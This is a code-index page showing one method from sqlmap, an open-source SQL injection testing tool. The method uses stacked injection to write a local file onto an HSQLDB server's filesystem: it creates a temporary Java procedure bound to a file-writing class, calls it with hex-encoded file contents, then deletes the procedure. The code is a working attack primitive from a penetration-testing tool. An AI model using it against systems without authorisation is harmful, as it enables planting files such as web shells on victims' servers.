MCPcopy Index your code
hub / github.com/sqlmapproject/sqlmap / stackedWriteFile

Method stackedWriteFile

plugins/dbms/hsqldb/filesystem.py:23–60  ·  view source on GitHub ↗
(self, localFile, remoteFile, fileType=None, forceCheck=False)

Source from the content-addressed store, hash-verified

21
22 @stackedmethod
23 def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
24 func_name = randomStr()
25 max_bytes = 1024 * 1024
26
27 debugMsg = "creating JLP procedure '%s'" % func_name
28 logger.debug(debugMsg)
29
30 addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (func_name, max_bytes)
31 addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
32 addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
33 inject.goStacked(addFuncQuery)
34
35 fcEncodedList = self.fileEncode(localFile, "hex", True)
36 fcEncodedStr = fcEncodedList[0][2:]
37 fcEncodedStrLen = len(fcEncodedStr)
38
39 if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
40 warnMsg = "as the injection is on a GET parameter and the file "
41 warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
42 warnMsg += "bytes, this might cause errors in the file "
43 warnMsg += "writing process"
44 logger.warning(warnMsg)
45
46 debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
47 logger.debug(debugMsg)
48
49 # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
50 invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (func_name, remoteFile, fcEncodedStr, max_bytes)
51 inject.goStacked(invokeQuery)
52
53 logger.debug("cleaning up the database management system")
54
55 delQuery = "DELETE PROCEDURE %s" % func_name
56 inject.goStacked(delQuery)
57
58 message = "the local file '%s' has been written on the back-end DBMS" % localFile
59 message += "file system ('%s')" % remoteFile
60 logger.info(message)

Callers

nothing calls this directly

Calls 4

fileEncodeMethod · 0.95
randomStrFunction · 0.90
debugMethod · 0.80
infoMethod · 0.80

Tested by

no test coverage detected